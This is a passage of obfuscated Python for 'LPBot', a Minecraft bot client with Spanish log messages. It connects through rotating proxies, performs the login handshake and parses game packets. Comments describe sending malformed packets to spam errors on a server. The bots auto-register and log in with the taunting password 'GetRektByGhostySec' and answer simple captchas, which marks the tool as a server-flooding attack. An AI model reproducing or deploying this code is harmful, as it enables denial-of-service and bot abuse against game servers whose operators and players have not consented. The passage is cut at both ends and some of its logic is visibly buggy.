('>h',_O0O0O00OO0OOOO000 )+encode_varint (1 )) #Sends PING instead of STATUS packet O0OOOOO00OOO00000 .SendPacket ('\x00'+encode_varint (O0OOOOO00OOO00000 ._protonum )+CraftString (_O0O0OO0OOO0000O0O )+struct .pack ('>h',_O0O0O00OO0OOOO000 )+encode_varint (2 )) #O0OOOOO00OOO00000 .SendPacket ('\x00'+encode_varint (O0OOOOO00OOO00000 ._protonum )+CraftString (_O0O0OO0OOO0000O0O )+struct .pack ('>h',_O0O0O00OO0OOOO000 )+encode_varint (0 )) # Spams errors due to sending invalid trash (NOT TESTED IF CRASHES YET) O0OOOOO00OOO00000 .SendPacket ('\x00'+CraftString (O0OOOOO00OOO00000 ._nickname )) #O0OOOOO00OOO00000 .SendPacket ('\19919191919'+CraftString (O0OOOOO00OOO00000 ._nickname )) # Error at encryptionresponse event! #O0OOOOO00OOO00000 .SendPacket ('\0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'+CraftString (O0OOOOO00OOO00000 ._nickname )) # Spams "Are mods in use" R.I.P except : ProxyManager .badProxy (O0OOOOO00OOO00000 ._proxy ) return try : O0OOOOO00OOO00000 ._socket .settimeout (15 ) O00O000000O000OO0 =O0OOOOO00OOO00000 ._startLoop () if O00O000000O000OO0 =='KE': O0OOOOO00OOO00000 ._callback ('KE',O0OOOOO00OOO00000 ) except Exception as O0OOO00OO000OO0O0 : syncprint (str (O0OOO00OO000OO0O0 )) if O0OOOOO00OOO00000 ._sdebug : raise return def _startLoop (OOO00OO0O00OOO0OO ): return OOO00OO0O00OOO0OO ._runLoop () def _log (O0000OOOO0OOO0OO0 ,O0OOOO0OOO000OO00 ): O000O00O0OOO0000O =O0000OOOO0OOO0OO0 ._proxy .split ('|') if O0000OOOO0OOO0OO0 ._proxy ==None : O000O00O0OOO0000O =('None','') syncprint ('[LPBot] - INFO : Proxy Type - {:6} | IP - {:20} | Nickname - {:20} | Proceso -> {:}'.format (O000O00O0OOO0000O [0 ],O000O00O0OOO0000O [1 ],O0000OOOO0OOO0OO0 ._nickname ,O0OOOO0OOO000OO00 )) return def _debug (OOOO0000OO0OOO0O0 ,O00OOOO00OOOO0000 ): if OOOO0000OO0OOO0O0 ._sdebug : OOOO0000OO0OOO0O0 ._log (O00OOOO00OOOO0000 ) def _sendBytes (OOOO0OOO0O0O0OO00 ,_O00OOOO0OOOOO0000 ): if OOOO0OOO0O0O0OO00 ._AES ==None : OOOO0OOO0O0O0OO00 ._socket .sendall (_O00OOOO0OOOOO0000 ) else : OOOO0OOO0O0O0OO00 ._socket .sendall (OOOO0OOO0O0O0OO00 ._AES .encrypt (_O00OOOO0OOOOO0000 )) def _SendEncrypt (OOOOO00OO0OOO0O0O ,_OO000O0O0000O00OO ,_O000OO0OO0OO0O0O0 ): O000O0OO0O0000OOO =encode_varint (len (_OO000O0O0000O00OO )) O0OOOOOO0O0OO0OO0 =encode_varint (len (_O000OO0OO0OO0O0O0 )) OOOOO00OO0OOO0O0O .SendPacket ("\x01"+str (O000O0OO0O0000OOO )+_OO000O0O0000O00OO +str (O0OOOOOO0O0OO0OO0 )+_O000OO0OO0OO0O0O0 ) def _getBytes (OO0O0OOOOO0OOO0OO ,_sz =1 ): O000O00O0O0O00O00 ='' OO0000OOO0O00OOO0 =_sz if OO0O0OOOOO0OOO0OO ._packet ==None : if OO0O0OOOOO0OOO0OO ._AES !=None : while _sz !=0 : O000O00O0O0O00O00 +=OO0O0OOOOO0OOO0OO ._AES .decrypt (OO0O0OOOOO0OOO0OO ._socket .recv (_sz )) _sz =OO0000OOO0O00OOO0 -len (O000O00O0O0O00O00 ) else : while _sz !=0 : O000O00O0O0O00O00 +=OO0O0OOOOO0OOO0OO ._socket .recv (_sz ) _sz =OO0000OOO0O00OOO0 -len (O000O00O0O0O00O00 ) else : while _sz !=0 : O000O00O0O0O00O00 +=OO0O0OOOOO0OOO0OO ._packet .read (_sz ) _sz =OO0000OOO0O00OOO0 -len (O000O00O0O0O00O00 ) return O000O00O0O0O00O00 def _getPacket (O0O0OO0OOOO00OOOO ): O0O0000O0O00O0O00 ='' O000O00000OOO000O =O0O0OO0OOOO00OOOO ._packet_len if O0O0OO0OOOO00OOOO ._AES !=None : while O000O00000OOO000O !=0 : O0O0000O0O00O0O00 +=O0O0OO0OOOO00OOOO ._AES .decrypt (O0O0OO0OOOO00OOOO ._socket .recv (O000O00000OOO000O )) O000O00000OOO000O =O0O0OO0OOOO00OOOO ._packet_len -len (O0O0000O0O00O0O00 ) else : while O000O00000OOO000O !=0 : O0O0000O0O00O0O00 +=O0O0OO0OOOO00OOOO ._socket .recv (O000O00000OOO000O ) O000O00000OOO000O =O0O0OO0OOOO00OOOO ._packet_len -len (O0O0000O0O00O0O00 ) return O0O0000O0O00O0O00 def _read_short (OOOO00000O00O0O00 ): return struct .unpack (">h",OOOO00000O00O0O00 ._getBytes (2 ))[0 ] def _read_short_array (O000OOOO0000O00O0 ): O00000OOO00OO0O0O =O000OOOO0000O00O0 ._read_short () return O000OOOO0000O00O0 ._getBytes (O00000OOO00OO0O0O ) def _readVarint (O000O0000OO0O0OO0 ): O0OO00000O00OO0O0 =0 O0O0O0000OO00O0O0 =1 while 1 : OO00000OOO000OO0O =ord (O000O0000OO0O0OO0 ._getBytes (1 )) O0OO00000O00OO0O0 +=(OO00000OOO000OO0O &0x7f )*O0O0O0000OO00O0O0 if (OO00000OOO000OO0O &0x80 ): syncprint("") O0O0O0000OO00O0O0 *=128 else : syncprint (O0OO00000O00OO0O0 ) return O0OO00000O00OO0O0 def _readString (O000OOO0OOO00O00O ): OOOO0O0OOO0O00000 =O000OOO0OOO00O00O ._readVarint () try : O0OOO0O00O0O0OOO0 =O000OOO0OOO00O00O ._getBytes (OOOO0O0OOO0O00000 ) except : return '' return ''.join (O0OOO0O00O0O0OOO0 ) def _itemEnchant (O0000000OOO0O000O ,O000OO0O000000O00 ): OO0OO000O000O0OOO =O000OO0O000000O00 return 256 <=OO0OO000O000O0OOO and OO0OO000O000O0OOO <=259 or 267 <=OO0OO000O000O0OOO and OO0OO000O000O0OOO <=279 or 283 <=OO0OO000O000O0OOO and OO0OO000O000O0OOO <=286 or 290 <=OO0OO000O000O0OOO and OO0OO000O000O0OOO <=294 or 298 <=OO0OO000O000O0OOO and OO0OO000O000O0OOO <=317 or OO0OO000O000O0OOO ==261 or OO0OO000O000O0OOO ==359 or OO0OO000O000O0OOO ==346 def _readSlot (O0O0OOO00O0OOO0OO ): O000000OO0OO000OO =int (binascii .b2a_hex (O0O0OOO00O0OOO0OO ._getBytes (2 )),16 ) if O000000OO0OO000OO !=65535 : OO00O0OO0OOOOO00O =ord (O0O0OOO00O0OOO0OO ._getBytes (1 )) O0O000000OOOOOOOO =int (binascii .b2a_hex (O0O0OOO00O0OOO0OO ._getBytes (2 )),16 ) if O0O0OOO00O0OOO0OO ._itemEnchant (O000000OO0OO000OO ): O0000O00OOOOO0OO0 =int (binascii .b2a_hex (O0O0OOO00O0OOO0OO ._getBytes (2 )),16 ) if O0000O00OOOOO0OO0 ==65535 : return while O0000O00OOOOO0OO0 !=0 : O0O0OOO00O0OOO0OO ._getBytes (1 ) O0000O00OOOOO0OO0 =O0000O00OOOOO0OO0 -1 def _genMetadata (OOO0O0OO0OO000O00 ): O00OOOOOOOO000OO0 ={} O000O00OOO0O000OO =ord (OOO0O0OO0OO000O00 ._getBytes (1 )) while O000O00OOO0O000OO !=127 : OOO0O0OO0OO000O00 ._debug (O000O00OOO0O000OO ) OO00O000OO00O000O =O000O00OOO0O000OO &31 OOO0OO00OO0OO00O0 =O000O00OOO0O000OO >>5 OOO0O0OO0OO000O00 ._debug (" "+str (OOO0OO00OO0OO00O0 )) if OOO0OO00OO0OO00O0 ==0 : O0O0OOOOO00OO000O =ord (OOO0O0OO0OO000O00 ._getBytes (1 )) if OOO0OO00OO0OO00O0 ==1 : O0O0OOOOO00OO000O =OOO0O0OO0OO000O00 ._getBytes (2 ) if OOO0OO00OO0OO00O0 ==2 : O0O0OOOOO00OO000O =OOO0O0OO0OO000O00 ._getBytes (4 ) if OOO0OO00OO0OO00O0 ==3 : O0O0OOOOO00OO000O =OOO0O0OO0OO000O00 ._getBytes (4 ) if OOO0OO00OO0OO00O0 ==4 : O0O0OOOOO00OO000O =OOO0O0OO0OO000O00 ._readString () if OOO0OO00OO0OO00O0 ==5 : OOO0O0OO0OO000O00 ._readSlot () if OOO0OO00OO0OO00O0 ==6 : O0O0OOOOO00OO000O =[] for O00O0O0OOO0O000OO in range (3 ): O0O0OOOOO00OO000O .append (OOO0O0OO0OO000O00 ._getBytes (4 )) O00OOOOOOOO000OO0 [OO00O000OO00O000O ]=(OOO0OO00OO0OO00O0 ,O0O0OOOOO00OO000O ) O000O00OOO0O000OO =ord (OOO0O0OO0OO000O00 ._getBytes (1 )) return O00OOOOOOOO000OO0 def _runLoop (OO00O0OO0OOO0000O ): while True : try : OO00O0OO0OOO0000O ._sdebug =True OO00O0OO0OOO0000O ._packet =None OO00O0OO0OOO0000O ._packet_len =OO00O0OO0OOO0000O ._readVarint () if OO00O0OO0OOO0000O ._packet_len ==None or OO00O0OO0OOO0000O ._packet_len <=0 : _O000O0O00000O0000 ='ER' if OO00O0OO0OOO0000O ._threshold !=-1 : O000O00O0OOOO00OO =OO00O0OO0OOO0000O ._readVarint () O00O00O00OOOOO0OO =OO00O0OO0OOO0000O ._getPacket () if O000O00O0OOOO00OO ==0 : OO00O0OO0OOO0000O ._packet =io .BytesIO (O00O00O00OOOOO0OO ) else : OO00O0OO0OOO0000O ._packet =io .BytesIO (O00O00O00OOOOO0OO .decode ('zlib')) _O000O0O00000O0000 =OO00O0OO0OOO0000O ._readVarint () else : O0OOO0OOO0OOO0000 =OO00O0OO0OOO0000O ._getPacket () OO00O0OO0OOO0000O ._packet =io .BytesIO (O0OOO0OOO0OOO0000 ) _O000O0O00000O0000 =OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._old_packet_id =_O000O0O00000O0000 except Exception as OO0O0O0OOO0O000OO : syncprint (str (OO0O0O0OOO0O000OO )) OO00O0OO0OOO0000O ._log ('Desconectado!') _O000O0O00000O0000 ='ER' return if OO00O0OO0OOO0000O ._isConnected ==False : if _O000O0O00000O0000 ==0x00 : O00O00OOOO00O0O00 =OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._log ('Desconectado! Razon - '+O00O00OOOO00O0O00 +'') OO00O0OO0OOO0000O ._isConnected =False try : OO00O0OO0OOO0000O ._socket .close () except : pass return elif _O000O0O00000O0000 ==0x01 : OO00O0OO0OOO0000O ._debug ('Encriptación en curso...') OOO00O0O0O0000O0O =OO00O0OO0OOO0000O ._readString () syncprint (OOO00O0O0O0000O0O ) OO00000OO000000O0 =OO00O0OO0OOO0000O ._read_short_array () syncprint (OO00000OO000000O0 ) OO0000O00OOO000O0 =OO00O0OO0OOO0000O ._read_short_array () syncprint (OO0000O00OOO000O0 ) if OO00000OO000000O0 !='': O0O0O0O00OO00OO0O =decode_public_key (OO00000OO000000O0 ) O0O0OOOO000000OO0 =generate_shared_secret () syncprint (O0O0OOOO000000OO0 ) OOO0O00OO0O00O000 =encrypt_with_public_key (OO0000O00OOO000O0 ,O0O0O0O00OO00OO0O ) OO0O00O00O0000O00 =encrypt_with_public_key (O0O0OOOO000000OO0 ,O0O0O0O00OO00OO0O ) O0OOO00O00O00OOO0 =make_server_hash (OOO00O0O0O0000O0O ,O0O0OOOO000000OO0 ,O0O0O0O00OO00OO0O ,) join_server (OO00O0OO0OOO0000O ._session ,O0OOO00O00O00OOO0 ) OO00O0OO0OOO0000O ._SendEncrypt (OO0O00O00O0000O00 ,OOO0O00OO0O00O000 ) OO00O0OO0OOO0000O ._AES =generated_cipher (O0O0OOOO000000OO0 ) else : OO00O0OO0OOO0000O ._SendEncrypt ('',OO0000O00OOO000O0 ) elif _O000O0O00000O0000 ==0x02 : ProxyManager .coolProxy (OO00O0OO0OOO0000O ._proxy ) OO00O0OO0OOO0000O ._debug (' - Handshake Establecido - ') OO00O0OO0OOO0000O ._log ('Conectado!') OO00O0OO0OOO0000O ._debug (OO00O0OO0OOO0000O ._readString ()) OO00O0OO0OOO0000O ._debug (OO00O0OO0OOO0000O ._readString ()) OO00O0OO0OOO0000O ._isConnected =True OO00O0OO0OOO0000O .SendPacket ('\x15\x05\x65\x6e\x5f\x55\x53\x0c\x00\x01\x02\x01') OO00O0OO0OOO0000O .SendPacket ('\x13\x17\x08\x4d\x43\x7c\x42\x72\x61\x6e\x64\x00\x07\x76\x61\x6e\x69\x6c\x6c\x61') elif _O000O0O00000O0000 ==0x03 : OO00O0OO0OOO0000O ._debug ('Encriptando..') OO00O0OO0OOO0000O ._threshold =OO00O0OO0OOO0000O ._readVarint () else : if OO00O0OO0OOO0000O ._count ==0 : OO00O0OO0OOO0000O ._action () OO00O0OO0OOO0000O ._count =10 OO00O0OO0OOO0000O ._count =OO00O0OO0OOO0000O ._count -1 if _O000O0O00000O0000 ==0x00 : OO00O0OO0OOO0000O ._debug ('Haciendo PING') OO00O0OO0OOO0000O .SendPacket (OO00O0OO0OOO0000O ._readVarint ()) elif _O000O0O00000O0000 ==0x01 : OO00O0OO0OOO0000O ._debug ('Conectado') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._readString () elif _O000O0O00000O0000 ==0x02 : OO00O0OO0OOO0000O ._debug ('Chat - ') O000OOOOOOO0OO0O0 =OO00O0OO0OOO0000O ._readString () if OO00O0OO0OOO0000O ._printChat ==True : OO00O0OO0OOO0000O ._log ('Chat - '+O000OOOOOOO0OO0O0) else : OO00O0OO0OOO0000O ._debug ('Chat - ' +O000OOOOOOO0OO0O0) if OO00O0OO0OOO0000O ._loggedIn ==False : if O000OOOOOOO0OO0O0 .find ('login')!=-1 : OO00O0OO0OOO0000O ._log ('Iniciando sesión - '+O000OOOOOOO0OO0O0) OO00O0OO0OOO0000O ._queuedMessages .append ('/login GetRektByGhostySec') OO00O0OO0OOO0000O ._loggedIn =True if O000OOOOOOO0OO0O0 .find ('register')!=-1 : OO00O0OO0OOO0000O ._log ('Registrando! - '+O000OOOOOOO0OO0O0) OO00O0OO0OOO0000O ._queuedMessages .append ('/register GetRektByGhostySec GetRektByGhostySec') OO00O0OO0OOO0000O ._queuedMessages .append ('/register GetRektByGhostySec') OO00O0OO0OOO0000O ._queuedMessages .append ('/setpassword GetRektByGhostySec') OO00O0OO0OOO0000O ._queuedMessages .append ('/login GetRektByGhostySec') OO00O0OO0OOO0000O ._loggedIn =True OO00O0OO0OOO0000O ._log ('Done') if O000OOOOOOO0OO0O0 .find ('1 + 1')!=-1 : OO00O0OO0OOO0000O ._log ('Captcha! - '+O000OOOOOOO0OO0O0) OO00O0OO0OOO0000O ._queuedMessages .append ('2') OO00O0OO0OOO0000O ._queuedMessages .append ('DEAH') OO00O0OO0OOO0000O ._loggedIn =True OO00O0OO0OOO0000O ._log ('Done Captcha') if O000OOOOOOO0OO0O0 .find ('2 + 2')!=-1 : OO00O0OO0OOO0000O ._log ('Captcha! - '+O000OOOOOOO0OO0O0) OO00O0OO0OOO0000O ._queuedMessages .append ('4') OO00O0OO0OOO0000O ._queuedMessages .append ('DEAH 2') OO00O0OO0OOO0000O ._loggedIn =True OO00O0OO0OOO0000O ._log ('Done Captcha') elif _O000O0O00000O0000 ==0x03 : OO00O0OO0OOO0000O ._debug ('Actualización - ') OO00O0OO0OOO0000O ._getBytes (8 ) OO00O0OO0OOO0000O ._getBytes (8 ) elif _O000O0O00000O0000 ==0x04 : OO00O0OO0OOO0000O ._debug ('Armadura - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._readSlot () elif _O000O0O00000O0000 ==0x05 : OOOOOOO00O0000OOO =OO00O0OO0OOO0000O ._getBytes (4 ) OOO0000OOO0OOO0O0 =OO00O0OO0OOO0000O ._getBytes (4 ) OO0OOOO000OO000OO =OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._debug ('Coordenadas X:'+str (int (binascii .b2a_hex (OOOOOOO00O0000OOO ),16 ))+', Y:'+str (int (binascii .b2a_hex (OOO0000OOO0OOO0O0 ),16 ))+', Z:'+str (int (binascii .b2a_hex (OO0OOOO000OO000OO ),16 ))+'') elif _O000O0O00000O0000 ==0x06 : OO00O0OO0OOO0000O ._debug ('Vida - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x07 : OO00O0OO0OOO0000O ._debug ('Respawn - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._debug (OO00O0OO0OOO0000O ._readString ()) elif _O000O0O00000O0000 ==0x08 : OO00O0OO0OOO0000O ._debug ('Posición -') OO00O0OO0OOO0000O ._getBytes (8 ) OO00O0OO0OOO0000O ._getBytes (8 ) OO00O0OO0OOO0000O ._getBytes (8 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x09 : OO00O0OO0OOO0000O ._debug ('Item en uso - ') OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x0A : OO00O0OO0OOO0000O ._debug ('Cama - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x0B : OO00O0OO0OOO0000O ._debug ('Animación - ') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x0C : pass elif _O000O0O00000O0000 ==0x0D : OO00O0OO0OOO0000O ._debug ('Recoger Item - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x0E : OO00O0OO0OOO0000O ._debug ('Spawnear Item - ') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OOO000000O0O0OO00 ='Normal' if OO00O0OO0OOO0000O ._getBytes (4 )!='\x00\x00\x00\x00': OOO000000O0O0OO00 ='Projectile' OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._debug ('Información ['+OOO000000O0O0OO00 +']') elif _O000O0O00000O0000 ==0x0F : OO00O0OO0OOO0000O ._debug ('Spawn Mob') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._genMetadata () elif _O000O0O00000O0000 ==0x10 : OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._debug ('Información ['+OO00O0OO0OOO0000O ._readString ()+']') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x11 : OO00O0OO0OOO0000O ._debug (' Experiencia -') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) elif _O000O0O00000O0000 ==0x12 : OO00O0OO0OOO0000O ._debug ('Velocidad - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) elif _O000O0O00000O0000 ==0x13 : OO00O0OO0OOO0000O ._debug ('Destrozar Identidades') O0OO00O00O000O00O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (1 )),16 ) for OO00OOO000OOOO000 in range (O0OO00O00O000O00O ): OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x14 : OO00O0OO0OOO0000O ._debug ('Identidad') OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x15 : OO00O0OO0OOO0000O ._debug ('Movimiento de Identidad - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x16 : OO00O0OO0OOO0000O ._debug ('Identidad - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x17 : OO00O0OO0OOO0000O ._debug ('Identidad Posición - ') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x18 : OO00O0OO0OOO0000O ._debug ('Entity Teleport') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x19 : OO00O0OO0OOO0000O ._debug ('Entity Head Look') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x1A : OO00O0OO0OOO0000O ._debug ('Entity Status') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 =="\x1B": OO00O0OO0OOO0000O ._debug ('Attach Entity') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x1C : OO00O0OO0OOO0000O ._debug ('Entity Metadata') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._genMetadata () elif _O000O0O00000O0000 ==0x1D : OO00O0OO0OOO0000O ._debug ('Entity Effect') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) elif _O000O0O00000O0000 ==0x1E : OO00O0OO0OOO0000O ._debug ('Remove Entity Effect') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x1F : OO00O0OO0OOO0000O ._debug ('Set Experience') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) elif _O000O0O00000O0000 ==0x20 : OO00O0OO0OOO0000O ._debug ('Entity Properties') elif _O000O0O00000O0000 ==0x21 : OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) OOOO0000O0O0O00OO =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (4 )),16 ) OO00O0OO0OOO0000O ._debug ('Chunk Update ['+str (OOOO0000O0O0O00OO )+']') OO00O0OO0OOO0000O ._getBytes (OOOO0000O0O0O00OO ) elif _O000O0O00000O0000 ==0x22 : OO00O0OO0OOO0000O ._debug ('Multi Block Change') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO0000000O0000OO0 =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (4 )),16 ) OO00O0OO0OOO0000O ._getBytes (OO0000000O0000OO0 ) elif _O000O0O00000O0000 ==0x23 : OO00O0OO0OOO0000O ._debug ('Block Change') pass elif _O000O0O00000O0000 ==0x24 : OO00O0OO0OOO0000O ._debug ('Block Action') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._readVarint () elif _O000O0O00000O0000 ==0x25 : OO00O0OO0OOO0000O ._debug ('Block Break Animation') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x26 : OO00O0OO0OOO0000O ._debug ('Map Chunk Bulk') elif _O000O0O00000O0000 ==0x27 : OO00O0OO0OOO0000O ._debug ('Explosion') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OOOO0000O0O0O00OO =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (4 )),16 ) OO00O0OO0OOO0000O ._getBytes (OOOO0000O0O0O00OO *3 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x28 : OO00O0OO0OOO0000O ._debug ('Effect') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x29 : OO00O0OO0OOO0000O ._debug ('Named Sound Effect') OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x2A : OO00O0OO0OOO0000O ._debug ('New/Inval_packet State') OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x2B : OO00O0OO0OOO0000O ._debug ('Change Game State') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x2C : OO00O0OO0OOO0000O ._debug ('Spawn Global Entity - thunderbolt') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x2D : OO00O0OO0OOO0000O ._getBytes (1 ) O00O00000OO00OO0O =int (binascii .b2a_hex (OO00O0OO0OOO0000O 